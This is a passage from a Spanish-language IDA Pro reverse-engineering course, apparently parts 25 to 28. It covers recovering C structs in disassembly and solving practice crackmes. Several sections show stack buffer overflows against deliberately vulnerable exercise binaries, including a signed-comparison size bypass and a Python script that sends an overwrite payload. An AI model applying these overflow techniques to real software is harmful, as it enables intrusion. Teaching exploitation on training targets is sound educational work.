que tiene varios campos dentro, no es necesario que seamos grandes genios de la programación para darnos
cuenta de que no es lo mismo una variable int que una variable char o un buffer de 50 bytes.

Si tengo Visual Studio, puedo ver el size de toda la estructura que es 0x54.

Hago esto para verificar después lo que hagamos en IDA, no tiene mucha importancia si no tienen mucha idea
de cómo se maneja Visual Studio, lo toman como información.
Vemos que la suma total de los campos me da un poco menos que la cantidad que asigna al compilar pero eso
suele pasar que el compilador asigne un poco más.

El puntero a una variable carácter es de largo cuatro porque es un puntero que es un dword y su contenido
apunta a una variable carácter.

char * p_size; // largo 4

Lo mismo los otros punteros a función y a buffer son punteros que son dwords o sea que su largo es 4 bytes y
que apuntan a diferentes tipos de datos de diferente largo, pero en la estructura solo se guarda el puntero o sea
que cada uno solo suma 4 bytes.

int(*foo2)(char *); // largo 4 puntero a función

void * buf2; // largo 4 puntero a buffer

En cambio el ultimo buffer no es un puntero (no tiene el asterisco (*), así que es un buffer que está
directamente dentro de la estructura ocupando 50 bytes de la misma).

char buf[50]; // largo 50 decimal

Lo importante de todo esto, más que los largos en sí, es darse cuenta que las estructuras son contenedores de
diferentes tipos de datos y que es muy difícil que al desensamblar, IDA pueda reconocer cada campo y su tipo
automáticamente, sobre todo si no tenemos los símbolos.

Hagamos un ejemplito sencillo para ir acostumbrándonos a detectar y manejar la estructura en IDA.

Vemos un código sencillo que recibe un argumento a través de la consola si no lo ejecutamos con algún
argumento saldrá diciéndonos “Bye Bye”

Podríamos arrancarlo así


Si solo hiciéramos doble click o no pusiéramos algún argumento, chequearía que argc que es la cantidad de
argumentos es diferente de 2 y nos tira fuera (la cantidad de argumentos incluye al nombre del ejecutable así
que en este caso serían dos argumentos el primero pepe.exe y el segundo aaaaaaaaaaa)

if (argc != 2) {
printf("Bye Bye");
exit(1); }

Vemos que pasa ese chequeo ya que argc es 2.

Además de la definición de esta estructura como tipo de dato, podemos hacer que haya variables que además
de poder ser del tipo int, char, float o el tipo que sea, además puede haber variables del tipo MyStruct.

De la misma forma que declaramos una variable entera por ejemplo poniendo el tipo de dato delante

int pepe;

Es similar en el caso de la variable del tipo estructura

MyStruct valores;

Con lo cual la variable valores será del tipo MyStruct tendrá la misma definición, el mismo largo y los
mismos campos.

Podríamos crear varias variables diferentes del tipo MyStruct

MyStruct pinguyo;

Y para referirnos a los campos de alguna de ellas se usa

valores.size

pinguyo.size

valores.cookie2

De esta forma en el programa se asignan los valores a algunos campos de la variable valores.

valores.cookie2 = 0;
valores.size = 50;

Y luego se hace un strncpy de las aes que están en la variable argv[1] al buffer de 50 bytes decimal
valores.buf, tomando como máximo size, el valor de valores.size que es 50.

strncpy (valores.buf , argv[1], valores.size);

Así que no habrá overflow pues copia 50 bytes a un buffer de 50 bytes de largo, no desborda.

Luego imprime lo que tipeamos que está ahora guardado en valores.buf para mostrarlo.
printf(valores.buf);

Y finalmente hay una llamada a getchar() para que no se cierre solo hasta que apretemos alguna tecla y
podamos ver las Aes.

Ahora abramos el ejecutable en IDA y vamos a ver cómo podemos interpretar esto.

Vemos que cuando hay símbolos todo es felicidad, IDA detecto a valores como una variable del tipo
MyStruct, sin problema, incluso dentro del código vemos que accede a los campos de la estructura con su
nombre perfectamente.

También aquí
Vemos que detecta el buffer de 50 bytes ya lo tiene renombrado como valores.buf, en el strncpy y en el printf
final.

Inclusive si vamos a la pestaña estructuras.


Vemos que está definida la estructura si le damos allí a CTRL mas + .

Vemos que los largos y los nombres están de acuerdo a lo que había definido la variable size de 1 byte o db,
la variable cookie2 4 bytes o dd y buf de 50 bytes decimal.

struct MyStruct
{
char size; // largo 1
int cookie2; // largo 4
char buf[50]; // largo 0x32

};

Incluso en IDA hay una pestaña LOCAL TYPES para editar e ingresar estructuras en formato c++, puedo ver
si está allí.

Hay muchas pero como tengo el filtro con CTRL +F pongo My y me sale
Y puedo ver haciendo click derecho EDIT
Que esta correcta.

Pero como en la vida no todo es alegría y casi nunca tendremos símbolos, habrá que traspirar un poco ya que
IDA no podrá detectar sin ellos los campos ni la estructura, aunque nos da las herramientas interactivas para
hacerlo.

Si cuando compilo renombro pepe.pdb

Ya no encontrara los símbolos y la cosa será más peliaguda.

Vuelvo a abrirlo a pepe.exe y que lo vuelva a desensamblar.


Vemos que ya no se detecta la estructura y los campos de la misma están pero como variables individuales.
Alguien podría objetar que podría reversearse así.

El tema es que este es un programa como una sola función, y una estructura sencilla, pero ya veremos más
adelante en programas con muchas funciones y estructuras complejas donde se pasan la misma de una a otra
función por medio de la dirección de inicio de la estructura, que es muy difícil saber en medio del programa
sino lo vas armando como estructura, a que corresponde cada campo.

Ya lo veremos igualmente pero por ahora créanme, en reversing hay que saber trabajar como estructuras.

Por ahora en este caso el reversing como variables individuales funcionaria, pero pongámosle ganas y
hagámoslo como si ya sabemos que es una estructura, más adelante veremos cómo detectar cuando es una
estructura y cuando son variables locales sueltas.
Ya conocemos de reversing anteriores el CANARY, así que lo renombramos.

Compara argc con 2 si es igual sigue y si no va a imprimir Bye Bye y a Exit, lo pintamos de rojo eso y verde
la parte buena.
Luego vemos que guarda 0x32 en una variable y que más adelante usa 0x32 como size del strncpy, en el
código nuestro usaba la variable como largo, pero aquí para ganar espacio lo pone directo con PUSH 0x32.

La variable var_40 no la usa más, igual la renombrare a size.

Vemos pasando el mouse por encima, que la detecta como variable de un byte (db).
También vemos haciendo click derecho que las otras representaciones nos muestran que es una variable de un
byte ya que la instrucción lo dice.

Sabemos que en el código original la variable cookie2 no se usaba y la ponía a cero.


valores.cookie2 = 0;

Igual la renombraremos como cookie2 pero si no sabríamos le pondríamos cualquier nombre total no la usa
más y no afecta en nada.

Veamos la representación del stack.


Nos falta Dest que vemos espacio vacío debajo, lo cual nos dice que puede ser un buffer, y además cuando
busco referencias con X.

Casi siempre los buffers van a tener alguna referencia que sea LEA, ya que para llenarlo habrá que pasarle la
dirección del mismo a alguna función como en este caso strncpy y el LEA la obtiene.
En este caso reservo 52 en vez de 50 lo cual suele suceder.

Ya vemos la representación del stack completa con esto ya podemos saber que no hay overflow, porque
sabemos que el buffer Dest tiene como largo 52 y copia al mismo 0x32 bytes hexa en el strncpy.
O sea que copia 50 bytes decimal a un buffer de 52 lo cual hace que no sea vulnerable y no haya overflow.

Con esto ya estaría pero bueno hay que empezar de a poco con el tema estructuras y aunque en este ejemplo
no sea necesario, lo usaremos.

Vayamos a la representación del stack.

Si hay una estructura no incluirá el CANARY que lo pone el compilador

Abarcara posiblemente eso.

Así que marco esa zona y voy al menú a EDIT-CREATE STRUCT FROM SELECTION
Y nos quedara así, si vemos en la pestaña estructuras.
Una variable struct_0 del tipo struct podría quedar así pero renombraremos para que coincida con el código.

Y en la representación del stack a la variable del tipo MyStruct la renombrare a valores.

Así que ya nos está quedando parecido a cuando teníamos los símbolos.
Vemos que al menos en esta función que es donde está definida la variable valores los campos los cambio de
nombre automáticamente a valores.xxxx

Obviamente esta es la forma más sencilla, tenemos que saber que muchas veces en estructuras complejas
habrá que reversear campo a campo y pelear para tenerla lo más completa posible.

En la parte siguiente seguiremos con ejemplos más complicados de estructuras.

Veamos las soluciones del IDA3 y IDA4.

Las variables de TEMP para arriba son agregadas por el compilador.


Allí veo la representación del stack, y las variables que debo pisar COOKIE y COOKIE2, ya sabemos que
ingresa datos por gets, así que es vulnerable no hay limite a la cantidad de bytes que ingreso.

Veamos cual es la cantidad de bytes que necesito para llegar a desbordar hasta COOKIE.

Como COOKIE esta justo debajo de BUFFER que mide 68 bytes decimal, entonces pasando

68 * ‘A’ + “ABCD”

Me desbordaría el buffer y pisaría COOKIE, veamos qué valor necesito en dicha variable para llegar a chico
bueno.

Vemos que a pesar de que no hay un chico bueno definido, me deja imprimir lo que yo quiera, ya que
imprime lo que guarda en el Buffer si pasa el chequeo de ambas cookies, puedo poner en el Buffer en vez de
Aes.
“Lo pude hacerrrr!!!!”

Iremos armando el script también vemos que luego de COOKIE vienen 4 bytes para Flag y los 4 siguientes
serán la COOKIE2

Si lo ejecuto.

Vemos que acomode la string delante y le reste a los 68 bytes el largo de la misma string para que se
mantenga en total siendo 68, y no se mueva lo que piso en cookie y cookie2.

string + (68 -(len(string))) *"A"


En el ida4 vemos que hay una función check

Vayamos reverseando el main.


Vemos que en el printf imprime tres direcciones la de cookie, la de cookie2 y la del Buffer.

Así que renombremos según eso.

Luego le pasa el Buffer a gets, así que sabemos que será vulnerable, igual miremos el largo del buffer.

Vemos que es 50 decimal.


Y que a continuación hay dos cookies de 4 bytes cada una.

Vemos que las dos cookies se pasan como argumentos de la función check, más una variable var_4 que aún
no sabemos que es, le pondremos FLAG de última le cambiamos el nombre.
Vemos que el argumento más lejano es FLAG, luego COOKIE y finalmente COOKIE2, entremos a la
función.

Vemos tres argumentos y una variable local

En la representación del stack se ve bien.

Lo que está bajo la raya debajo de s y r serán argumentos y arriba variables.


Las renombro según el orden que se pasan y hago click derecho set type para propagarlas hacia el main y ver
que está todo bien.

Vemos que coincide


Vemos que la única manera de llegar al ret y no ir a exit es seguir los bloques verdes y para ello cookie1 debe
compararse contra qrUS y cookie2 contra 0x10200d0a y debe no ser igual a ese valor para salir por el bloque
verde, pongamos esos valores en el script.

Con eso ya salimos de la función check pero aún falta algo más, vemos que el valor que devuelve la función
check es el valor de flag.

Que es el valor que guarda en var_8 y al final compara, así que flag debe ser ese valor 35224158.
Si lo probamos.

Así que funciona, nos vemos en la parte siguiente con más estructuras.

Hasta la parte 26
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
26
_________________________________________________________________________

La idea de que al programar podamos tener la mayor parte de lo que necesitamos agrupado
dentro de una o varias estructuras tiene bastante sentido.

Si yo por ejemplo, creo un programa y este usa muchas diferentes tipos de datos, algunos
en ciertas partes o varias del programa, se modifican, se usan etc, estar pasando como
argumento entre funciones tantos diferentes valores de distinto tipo, se hace bastante
pesado, mientras que usando estructuras los agrupamos y siempre solo pasando la
dirección donde comienza la estructura, puedo leer o modificar en cualquier parte del
programa, cualquier campo de la misma.

Veamos este ejemplo aquí vemos solo el main de un programa

Vemos que en este ejemplo hay una estructura MyStruct pero en este caso en vez de estar
declarada localmente en el stack está declarada como global lo cual es posible también y
me da la posibilidad de manejarla mejor entre funciones sino será valida solo en el main en
este caso, aunque no es la única posibilidad, ya veremos más adelante el heap y como se
manejan estructuras y variables allí.
Vemos que la definición de la estructura está fuera del main y de cualquier función y eso la
hace global, de cualquier manera la variable pepe que es del tipo MyStruct es local y está
declarada en el stack.

Entendemos la idea del programa de ir pasando un puntero a la estructura pepe y así poder
leer o cambiar valores en la misma, dentro de las tres funciones enter, check y decisión.

Allí lo compile con símbolos, no me da mucha mas info, porque al ser la definición global no
es fácil que ida detecte que la variable pepe es del tipo estructura.
Vemos que en el main que hay un BUFFER

Veamos el largo de este buffer según IDA.

Vemos que el largo del buffer es 16 por 1 de cada elemento o sea que es 16 decimal, hasta
acá si no conocemos el código, esto sería un buffer más y no tengo ni idea que es un
campo de una estructura.
Acepto el largo.
Vemos que las otras variables locales si apretamos X para ver donde se usan.

Vemos que todas se inicializan a cero y no se vuelven a usar, lo cual es sospechoso en una
variable local, para que se crea y inicializa si no se usa, aquí se empiezan a encender
algunas alarmas.

Y después está el CANARY


No hay ninguna variable más, no podemos renombrar las tres variables locales que se
inicializan a cero porque como no se usan dentro de la función, no tiene sentido ponerles
nombre, ni sé que nombre le pondría si no veo nada especial en el uso de ellas.

Vayamos a la primera función.

Vemos que halla la dirección del buffer y la pasa como argumento, lo cual es perfectamente
posible, pudiéndose llenar el buffer dentro de una de estas funciones.

Entremos en check.
Lo renombro como pBuffer ya que es un puntero o dirección, porque uso LEA y no paso el
valor sino la dirección donde está la variable Buffer.

Si hago Set Type o apreto Y para propagar.

Veamos si en la referencia quedo bien.

Vemos que esta correcto ya que EAX tiene la dirección de Buffer que se obtuvo con LEA.
Aquí vuelve a saltar otra alarma si el buffer es de 16 de largo o sea 0x10, vemos que a la
dirección de Buffer la suma 0x10 y no está escribiendo en el mismo sino a continuación,
justo debajo.

Esto ya me da que pensar, si le pasas un puntero al buffer, luego estás escribiendo fuera,
es el típico comportamiento de las estructuras, se pasa la dirección inicial a una función y
luego se puede acceder a cualquier campo, en este caso algo que está debajo de un primer
campo BUFFER.

Y que había justo debajo de BUFFER en el stack de main.

Vemos que está escribiendo en var_10 por lo tanto eso solo puede pasar si al menos Buffer
cómo var_10 son campos de una estructura.

Muchos se preguntan porque tengo que mirar el stack del main en vez de la función check?

El tema es que al pasarle la dirección de Buffer, dicha dirección donde comienza el mismo y
el mismo Buffer están en el main, y si sumo 0x10 a esa dirección llegare al var_10 del main,
el cual como es una variable local no tendría sentido dentro de check, pero si tiene sentido
si pertenece a una estructura.

Bueno por ahora vemos que

Me pide un número y lo guarda en el campo ese de la estructura que se llama var_10,


usando scanf_s, así que renombrare var_10 a numero, pero antes como ya se que hay una
estructura y los tres campos seguramente son accedidos en las funciones, la creare.

Voy de nuevo al main y marco hasta el CANARY y hago EDIT-CREATE STRUCTURE


FROM SELECTION.
Allí creo la estructura pero lo llamo Buf, le cambiare el nombre a pepe.

Y el nombre de la estructura le pondré MyStruct.

También renombro número.

Y en el main donde está todo declarado, veo que está todo bien.
Volvamos a la función enter.

Cambio el nombre a ppepe por puntero a pepe y apreto Y borro la declaración, acepto y
apreto Y de nuevo para la nueva declaración.

Sigamos reverseando.

Aquí está usando un campo de la estructura ya que mueve a ECX la dirección inicial y luego
le suma 0x14 para guardar en un campo de la misma aquí ya no necesitamos hacer
cuentas, apreto T en esa instrucción.
Elijo a qué estructura de las existentes corresponde y veo ahí en la lista que está MyStruct.

Vemos que solo detectando que es un campo de la estructura, apretando T y eligiendo la


correcta ya IDA acomoda el nombre del campo de la misma, obviamente hay muchas
estructuras y como no está definida aquí, IDA no puede saber a cual estructura pertenece
pero se lo decimos y nos pone el campo correcto.

Vemos que es el loop que se coloca para filtrar los 0a después de un scanf, es un campo
auxiliar en el código se llama c pero puede tener cualquier letra o nombre.
Cada vez que se pase el puntero a la estructura a un registro y luego se le suma un offset

Estará accediendo a otro campo apreto T allí.

Es el final de ese chequeo sigo adelante.


No hace más nada y no devuelve ningún valor de retorno en EAX.

Por lo tanto la primera función fue solo para leer el número que tipeamos y guardarlo en el
campo número.

La siguiente función check.

Hay que renombrar Buf a ppepe


Apreto Y para Set Type.

Allí veo que compara un campo con 0x10, apreto T en esa instrucción.

Compara el número que pusimos con 0x10 considerando el signo, esto es peligroso si se
usa como size luego.

Vemos que al manejarnos como estructura, el campo lo lee en una función, lo chequea en
otra función y luego lo usara posiblemente en una tercera y si vamos siguiendo el puntero a
la estructura siempre podemos determinar qué campo es sin tener que debuggear,
haciéndolo como variables sueltas se complica determinar que es el mismo valor siempre.
Allí hay otro campo apreto T.

Veo que el campo número es usado como size de un gets_s pero ese número podría ser
0xffffffff pues el chequeo anterior era con signo y en ese caso 0xffffffff es -1 y es menor que
0x10 y lo pasa perfectamente.

Vemos que al gets_s se le pasa la dirección de ppepe, como el primer campo es el Buffer
escribirá allí.

Ya vemos que habrá overflow.


A la última función también se le pasa ppepe, renombramos y arreglamos todo.

Allí lee a EAX la dirección de la estructura así que luego hay otro campo, cuando le suma
un offset.
Esa var_8 es la variable que chequea nunca la uso ni usara más, le pongo cookie pero si no
se el nombre cualquiera servirá.

Vemos que aquí se toma la decisión si cookie es igual a 0x45934215 nos dirá que ganamos
sino chau.

Así que ya sabemos que debemos pasar

Miremos la distribución del stack de main.

Obviamente todo está dentro de pepe, el buffer y la cookie, así que vayamos a estructuras a
ver los sizes de cada uno.

Tengo que llenar el buffer con 16 aes luego dos dwords más y luego esta cookie sería algo
así.
fruta= “A” * 16 + numero + c + cookie

El script es similar a los anteriores

from subprocess import *


import struct
p = Popen([r'C:\Users\ricna\Documents\Visual Studio
2015\Projects\ConsoleApplication4\Release\ConsoleApplication4.exe', 'f'],
stdout=PIPE, stdin=PIPE, stderr=STDOUT)

print "ATACHEA EL DEBUGGER Y APRETA ENTER\n"


raw_input()

primera="-1\n"
p.stdin.write(primera)

numero=struct.pack("<L",0x1c)
c=struct.pack("<L",0x90909090)
cookie=struct.pack("<L",0x45934215)

fruta= "A" * 16 + numero + c + cookie + "\n"


p.stdin.write(fruta)

testresult = p.communicate()[0]

print(testresult)

Vemos que le pasa -1 como numero para pasar el chequeo cuando compara con signo
contra 0x10 y luego la fruta de 16 bytes para llenar el buffer, luego el numero al que le paso
un valor correcto de 0x1c porque al overflodear sino lo cambiare, luego c que puede ser
cualquier valor y luego la cookie 0x45934215.
Bueno con esto terminamos la parte 26

Adjunto un ejercicio llamado IDA_STRUCT.7z vea si es vulnerable y que se puede hacer


jeje.
hasta la parte 27
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
27
______________________________
Solucionaremos el ejercicio que dejamos para resolver en la parte anterior llamado
IDA_STRUCT.7z el que no lo hizo o lo tiene se baja de aquí.

http://ricardo.crver.net/WEB/INTRODUCCION%20AL%20REVERSING%20CON%20IDA
%20PRO%20DESDE%20CERO/EJERCICIOS/IDA_STRUCT_RESOLVER%20DESPUES
%20DE%20LA%20PARTE%2026.7z

El ejecutable se llama ConsoleApplication4.exe y en la misma carpeta están los símbolos


ConsoleApplication4.pdb.

Cuando arranca y les dice que tratará de hallar los símbolos, podrán apuntar a ese archivo y
cargarlos con lo cual se aclara un poco, pero yo para resolverlo, borrare o renombrare el
archivo pdb así se carga sin símbolos, lo cual es lo que normalmente encontraremos,
aunque es más complejo, es más real.

Obviamente al no tener símbolos no detectara el main, podemos llegar al mismo como es


una aplicación de consola buscando los argv o argc o sino más genérico, mirando las
strings.
Si lo ejecutamos alguna vez, vemos que lo primero que hace es pedirnos que ingresemos
un número, allí se ven las strings lo mismo que las que parecen ser las de chico bueno y
chico malo.

Haciendo click en la string Please enter your number….

Allí vemos que tiene referencias pasando el mouse por la flechita, o apretando X en la
dirección.

Vayamos allí.
Vemos que estamos en una función, vemos la string por ahí y el llamado a imprimir la
misma, como no tenemos símbolos, no nos dice que es 0x401220 es printf, si miramos
dentro de la misma.

Puede uno mirar dentro y vemos que hay varias funciones.


En el proximity view que se entra apretando la tecla - y se sale apretando +, vemos que
0x401220 llama a esas mismas tres funciones, pero tanto 0x401000 como acrt_iob_func
son funciones que hacen algo y vuelven, no siguen hacia otras funciones hijas.

Allí donde están las flechas que agregue, se ve que no sigue hacia otras funciones, la única
que sigue es 0x4010f0 que llama a dos funciones y una es vfprintf, y de allí luego vuelve, no
hay más hacia abajo.

Eso se puede ver también en el listado si miro dentro de cada función voy a ver lo mismo.

Vemos que 0x401000 no sigue solo hace una pavada y vuelve.


Y _acrt_iob_func es una api así que no seguirá, solo inicializará stdout para luego imprimir.

O sea que pasándole el argumento 1 como en nuestro caso, inicializará stdout.

Y la tercera función que llama .


Termina llamando a vfprintf, o sea terminamos viendo lo mismo que en el proximity view
pero tardamos más.

Así que renombramos 0x401220 como printf.


Yo las que terminan siendo una api como en este caso printf las pinto de celeste cada
uno lo hará a su gusto.

La siguiente función de 0x40109D es seguramente scanf si entramos y vemos el


proximity view.
Allí sigue hago click para que se despliegue.

Vemos que es scanf.

Y en este caso la función _acrt_iob_func con el argumento 0 inicializa stdin.

Así que renombramos a scanf.


Vemos algo que es posiblemente una estructura pues cuando se pasa como argumento
una dirección y luego se recupera y se le suma offsets para acceder a los campos en
cada lugar que se la usa, es posiblemente la dirección de una estructura.

Veamos las referencias de esta función

Vemos que hay dos lugares si miro allí.


Veo que el argumento en ambos casos es una dirección, lo cual da la idea de
estructuras.

Como son dos direcciones diferentes da la impresión que fueran dos estructuras del
mismo tipo, comenzaremos creando una sola, sin saber el tamaño, sin saber los
campos ni nada, los iremos reverseando poco a poco.

Vemos que el máximo offset que encuentro hasta ahora es 0x14, así que creare una
estructura de ese largo, si llega a ser más grande la agrandaré.

Así que voy a la pestaña structures, es una de las opciones para crearla, la otra seria ir
a LOCAL TYPES y crearla como código en C, lo haremos por ahora aquí.

Es un poco molesto y poco intuitivo realmente, pero bueno cuando estamos en el lugar
donde está definida podemos hacer CREATE STRUCT FROM SELECTION,
normalmente la crearemos en alguna función donde no está definida sin saber nada.

Obviamente sé que si analizo la representación del stack del main podría usar
CREATE STRUCT FROM SELECTION alli y se me facilitaría la vida, pero tomemos el
peor caso, que estemos en una función de un programa muy grande y que estamos
lejísimo de donde fue definida, así que tenemos que arreglarlos como podemos.

Allí vemos que para crear una estructura hay que apretar la tecla INS, lo hacemos.

Le puedo poner el nombre que quiera, le pondré MyStruct.

Allí se creó con size 0, ahora haré un truco para cuando aún no conozco los campos ni
nada y le quiero dar un size, primero apreto D en la palabra ends, para agregar un sólo
campo.
Allí le agrego un campo de 1 byte de largo DB, si volvería a apretar D cambiaria cada
vez a word DW y luego a DWORD DD.

Pero aquí como no sabemos, lo dejamos así y hacemos click derecho en la estructura.

Ya que he visto un campo en 0x14.


Así que como para llenarlo a ese campo con un dword, necesita 4 bytes más, la creare
de 0x18, le agregare 0x17 al byte que tenía.

Veo que me quedo con size 0x18 por ahora lo dejaremos así, de necesitar lo
agrandamos.

Como esta función es llamada dos veces, la primera con la dirección de una primera
estructura tipo MyStruct que llamaremos arbitrariamente pepe y la segunda con la
dirección de una segunda estructura del mismo tipo MyStruct que llamaremos juan,
dentro de la función le pondremos un nombre genérico que sirva para ambos casos.

En el código fuente esto se ve así, para aclarar dos variables de tipo MyStruct una
llamada pepe otra llamada juan, ambas se le pasa su dirección como argumento a las
funciones.
Como la misma función tendrá primero la dirección de la primera estructura o pepe en el
arg0 y la segunda vez que se lo llama tendrá la dirección de la estructura juan, le
pondré un nombre genérico para ambas por ejemplo _struct.

Si decompilo la función con F5 veo que no está bien


Veo que la definición de la variable es un simple int y no como en el código original
como la dirección de una estructura, podré arreglarlo aquí.

Me sale para elegir la dirección de qué estructura es y aquí elegiremos del tipo
MyStruct.
Obviamente Buf es pepe y allí obtiene su dirección y la pasa como argumento, veamos
Buf en la representación del stack.

Como la estructura no es necesario crearla porque ya existe, solo tengo que decirle que
Buf es del tipo MyStruct, para eso ALT mas Q en Buf.

y le asignara a Buf el tipo MyStruct si pusimos de menos el tamaño quedaran afuera


algunos campos pero después se podrá agrandar MyStruct y se corregirá solo aquí.(si
no se rompe jeje)
Renombramos Buf a pepe.

Vemos allí que se pasa la dirección de pepe y en la segunda llamada se pasa la


dirección de var_44 que también será la otra variable juan del tipo MyStruct, así que
vamos a la representación del stack y en var_44 hacemos tambien ALT + Q.

Ya tenemos las dos estructuras del tipo MyStruct.

Vuelvo a la función
Vemos que el campo en 0x10 es un dword donde recibe el valor de scanf, así que
vamos a MyStruct y en 0x10 apretamos la D hasta que quede del tipo DWORD DD.
Lo renombrare a número.

La otra entrada es el campo de 0x14 que se usa en el loop para quitar el 0A le pondré c.
Vayamos al 0x14 de MyStruct y apretemos D hasta que sea un DWORD y pongámosle
el nombre c .
Allí apretamos T y ya queda.

Por último renombrare la función a enter.

Vemos que las tres primeras funciones las llama pasándole pepe y las tres siguientes le
pasa juan.

Veamos la siguiente función.


También es llamada por ambas estructuras así que se puede al igual que en la anterior,
apretando F5.

Ahí en la variable _struct hago click derecho CONVERT TO STRUCT *.

Ahora si es la dirección de una estructura MyStruct y al igual que antes veremos los
campos, apretando T donde corresponde.
Allí vemos que compara el número que pasamos contra 0x10 y como la comparación es
con signo, cualquier numero negativo podrá pasarlo como por ejemplo 0xffffffff que es -1
el cual es menor que 0x10.

Luego utiliza como size del gets_s el número que le pasamos, y el otro argumento, debe
ser un buffer que se encuentra al inicio de la estructura pues usa la dirección de inicio
de la misma.

Voy a MyStruct y en 0x0 apreto D una vez para que se cree un campo de un solo byte.
Y allí hago click derecho array.

El largo del buffer será 16 lo acepto.

Y lo renombro a Buffer
Allí quedo de largo 16 decimal.

Sigamos reverseando.

La cuestión es que con gets_s el buffer podrá ser overflodeado, ya que el chequeo deja
pasar valores negativos que cuando se usan como size, se tomarán como valores
unsigned, y serán grandes,

Si por ejemplo pasamos 0xffffffff en la comparación será -1 porque se toma signed y


será menor que 0x10, pero al usarlo cómo size será el valor positivo 0xffffffff lo cual
permite que pasemos la cantidad de caracteres que queremos en el gets_s al buffer y lo
overflodeemos.

Así que podríamos renombrar la función como check o get lo que queramos que sea
representativo de lo que hace la función, le pondremos check para que coincida.
Me queda la tercera función el argumento es el mismo así que repito el procedimiento,
apreto F5 y cambio el tipo de argumento.

Sigo trabajando.
Vemos que hay un campo más ya que está tratando de comparar el [EAX+0x18], lo cual
no tenemos definido pues el último campo nuestro de MyStruct es 0x14 lo agregaremos.

Nos ponemos en la palabra ends y apretamos D hasta que se crea un nuevo campo DD
DWORD.

Lo renombro a cookie.
Vuelvo a la función y apreto T.

Vemos que hay otro campo más este es de un solo byte.

Así que volvemos a MyStruct y en ends apretamos D una vez y nos quedará un campo
de un byte.

Lo renombre a flag para que coincida.


Volviendo a la función.

Sí cookie es igual a 0x99989796 luego pondrá flag de esa estructura a 1.

Si por algún cambio que no se propagó bien se rompen las variables del main y no
hicimos snapshot como me pasó a mí.

Voy al inicio de la función rota, y apreto U


Acepto y quedara asi

Luego en el mismo inicio apreto C.

Y luego click derecho CREATE FUNCTION.


Ahora si quedo bien.

Viendo la representación del stack.

Vemos que después de cada estructura quedan tres bytes vacíos porque el último
campo era uno de un solo byte y no hay más nada.

Solo quedaron mal los nombres de las estructuras, pero los cambiare como en el código
fuente a pepe y juan.
Vemos que con juan hará lo mismo en enter y check que hizo con pepe, pero tiene una
tercera función diferente, veamos que hace.
Al apretar T en los campos, vemos que es similar a la función “desicion”, solo que la
constante con que compara la cookie de juan es diferente en este caso 0x33343536.

O sea que la cookie de pepe debe valer 0x99989796 y la de juan debe valer
0x33343536 con eso ambos flags de cada estructura estarán a 1.

Vemos que para que llegue al chico bueno ambos flags deben ser 1.

Este ejercicio tiene muchas soluciones porque como la estructura juan está más arriba
en el stack.
Al hacer su gets_s podríamos pisar todos los flags para que queden a 1 y de esa forma,
con un solo overflow, poder pasar los chequeos, también se puede hacer en forma
individual, pisando en cada gets_s el flag y no es necesario pisar la cookie con el valor
correcto, porque pisamos directamente el flag sin esperar que compare la cookie para
que cambie el mismo.

Para pisar el flag tengo 16 bytes decimal, más 3 dwords o sea 12,

seria

16 + 12=28 bytes.

Seria

fruta= 28* “A” + “\x01”


Por supuesto a cada una de las estructuras hay que pasarle el -1 o el valor negativo que
pase el check contra 0x10, y luego la fruta.

Si debugeamos un poco, vemos el -1 que entra en el campo número de pepe.


Pasa el chequeo y llega al gets_s y allí lee la fruta.

Allí veo la dirección de pepe en mi máquina, luego de pasar por el gets_s si voy allí.
Allí veo la fruta que le envíe, si quiero convertir en estructura.

Apreto ALT mas Q

Elijo MyStruct.

Veo los campos y que flag está ya pisado a 1 por el overflow, sin pasar por las otras
funciones, sigo traceando.
Vemos que compara cookie contra 0x99989796 y como no es igual no modifica el flag
pero el mismo ya está a 1, así que no me importa.

Se repetirá el mismo proceso y llegamos a desicion2.

Entro traceando con F7.

EAX tiene el inicio de la estructura Juan veámosla.


Allí también hago ALT mas Q para cambiarlo a estructura y elijo MyStruct.

Lo mismo que antes el flag estará a 1, la comparación con la cookie no será igual pero
continuo pues el flag ya está bien.

pepe.flag vale 1 está bien sigo.


juan.flag también esta correcto, así que llego al cartel de chico bueno.

Y listo ya está solucionado.

Nos vemos en la parte 28

Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
28
_________________________________________________________________________

Como siempre vamos alternando algo de teoría con los ejercicios de práctica para tratar de
afianzarnos poco a poco e ir avanzando.
En esta parte veremos algunos temas teóricos sin tratar de ser muy técnicos ni pesados,
sobre temas que hay que conocer.

Hemos visto que cuando definimos una variable por ejemplo:

int pepe=4;

Se reservarán en una posición de memoria el espacio necesario para guardar en este caso
un entero o sea 4 bytes y luego cuando se asigna el valor 4, tendremos en una dirección de
memoria el valor 4 de pepe guardado.
Allí vemos ese caso la variable int pepe y como la inicializa a 4, si arrancamos el debugger y
ponemos un breakpoint aquí

.
Y arrancamos el debugger LOCAL WIN32 DEBUGGER.

Cuando para allí si ponemos el mouse encima de pepe, vemos la dirección de memoria
donde están reservados los 4 bytes para el entero que se supone que almacenará.

Si hago click allí en pepe iré a ver(la dirección no coincidirá con la suya)
Como es un entero puedo allí apretar D hasta que cambie a DD o sea DWORD.

Allí está marcado como DWORD y con cero porque aún no guardo el valor 4, si ejecuto la
instrucción que lo guarda y vuelvo a mirar.

No se imprime hasta que no termina y se cierra, así que si lo ejecuto en una consola veo el
4 que es el valor de pepe.

Allí lo tienen como EJEMPLO1.exe


Lo que vemos es que siempre que hay una variable habrá un valor y una dirección, en mi
caso el valor de pepe era 4 y la dirección de pepe era 0x119fe24.

Ahora cambiare el código para que no solo imprima el valor de pepe sino su dirección.

Si lo abrimos en IDA a este EJEMPLO2

Vemos los dos print el primero mediante MOV pasa el valor 4 de pepe a EAX y luego lo
imprime, y en el segundo print con LEA halla la dirección de pepe y la imprime.

Si pongo un breakpoint en el mov.


Arranco el debugger.

En este caso la dirección de pepe en mi máquina será 0xCFFA74 voy allí y apretando D
cambio a DWORD.
Llego hasta el LEA si pongo el mouse sobre pepe, veo que ya está guardado el valor 4, al
ejecutar el LEA.

Veo que ahora ECX tiene la dirección de pepe que es lo que imprimirá en segundo lugar si
lo corremos fuera de IDA veremos cómo imprime, en cada tiro la dirección cambiara pero
imprimirá el valor y la dirección actual de pepe.

Vemos que en cada caso sea un entero, sea un buffer, una estructura o el tipo de dato que
sea tendremos una dirección donde está guardado (o donde comienza si es un buffer o
estructura) y un valor que es el contenido que se aloja allí.

PUNTEROS.

